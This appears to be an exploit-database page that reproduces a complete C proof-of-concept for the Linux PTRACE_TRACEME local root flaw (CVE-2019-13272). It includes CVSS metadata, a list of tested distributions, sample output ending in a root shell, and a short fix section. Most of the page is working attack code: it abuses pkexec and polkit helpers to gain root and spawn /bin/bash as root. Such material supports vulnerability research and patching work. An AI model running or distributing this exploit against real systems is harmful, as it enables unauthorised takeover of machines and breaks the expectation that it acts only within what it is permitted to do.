Linux PTRACE_TRACEME Local Root
CVE
Category
Price
Severity
CVE-2019-13272
CWE-254
$10,000
High
Author
Risk
Exploitation Type
Date
rdaniels
High
Local
2020-03-29
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Attack Requirements Present AT The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker). Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Confidentiality Impact to the Vulnerable System High VC There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Availability Impact to the Vulnerable System High VI There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System. Availability Impact to the Vulnerable System High VA There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Subsequent System Confidentiality Impact Negligible SC There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System. Integrity Impact to the Subsequent System None SI There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System. Availability Impact to the Subsequent System None SA There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020030169 Below is a copy:
Linux PTRACE_TRACEME Local Root # Exploit Title: Ubuntu 16.04.6-Kernel-PTRACE_TRACEME-allows_local_users_to_obtain_root_access - Local
# Author: nu11secur1ty
# Date: 2020-03-26
# Vendor: Ubuntu Linux kernel before 5.1.17
# Link: https://github.com/nu11secur1ty/Ubuntu/tree/master/CVE-2019-13272
# CVE: CVE-2019-13272
[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source: readme from GitHUB
[+] twitter.com/nu11secur1ty
[Exploit Program Code]
--------------------------
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// Modified and tested on Ubuntu 16.04.6 by Ventsislav Varbanovski
@nu11secur1ty
// https://www.nu11secur1ty.com/
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <[email protected] >
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid exectuable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
};
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become
our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);
dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}
SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));
/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}
middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}
/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
force_exec_and_wait(child, 42, "stage3");
return 0;
}
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * *
* *
static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *
* *
static int check_env(void) {
const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
exit(EXIT_FAILURE);
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
return 1;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID
| /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
return 1;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") ==
0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
return 1;
}
}
dprintf("[~] Done, looks good\n");
return 0;
}
/*
* Use pkaction to search PolKit policy actions for viable helper
executables.
* Check each action for allow_active=yes, extract the associated helper
path,
* and check the helper path exists.
*/
int find_helpers() {
char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run: %s\n", cmd);
exit(EXIT_FAILURE);
}
char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);
while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes*/
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}
if (useful_action == 0)
continue;
useful_action = 0;
/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;
memset(buffer, 0, sizeof(buffer));
for (int i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
strstr(&buffer[0], "/cpugovctl") != 0 ||
strstr(&buffer[0], "/package-system-locked") != 0 ||
strstr(&buffer[0], "/cddistupgrader") != 0) {
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
continue;
}
/* check the path exists */
if (stat(&buffer[0], &st) != 0)
continue;
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}
pclose(fp);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() {
dprintf("[.] Using helper: %s\n", helper_path);
/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in
execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;
/*
* wait for our child to go through both execve() calls (first pkexec,
then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root
(CVE-2019-13272)\n");
check_env();
if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}
/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
}
/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
find_helpers();
for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;
if (stat(helpers[i], &st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
}
return 0;
}
[Vendor]
Ubuntu
[Vulnerability Type]
Local rootkit exploit
[CVE Reference]
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c
mishandles the recording of the credentials of a process that wants to
create a ptrace relationship,
which allows local users to obtain root access by leveraging certain
scenarios with a parent-child process relationship,
where a parent drops privileges and calls execve (potentially allowing
control by an attacker).
One contributing factor is an object lifetime issue (which can also cause a
panic).
Another contributing factor is incorrect marking of a ptrace relationship
as privileged, which is exploitable through (for example) Polkit's pkexec
helper with PTRACE_TRACEME.
NOTE: SELinux deny_ptrace might be a usable workaround in some environments.
[Security Issue]
root access by leveraging certain scenarios
[Video]
https://www.youtube.com/watch?v=FGKhQkk8V5g
[Disclosure Timeline]
2019/07/04
[+] Disclaimer
The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability was
discovered,
shared with the affected vendor, publicly disclosed, or updated in CVE.
[Fix]
Immediately UPGRADE your Ubuntu distro using your package manager, or make
patching your Linux Kernel...
More information: https://github.com/nu11secur1ty/insmod_block
@nu11secur1ty
--
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
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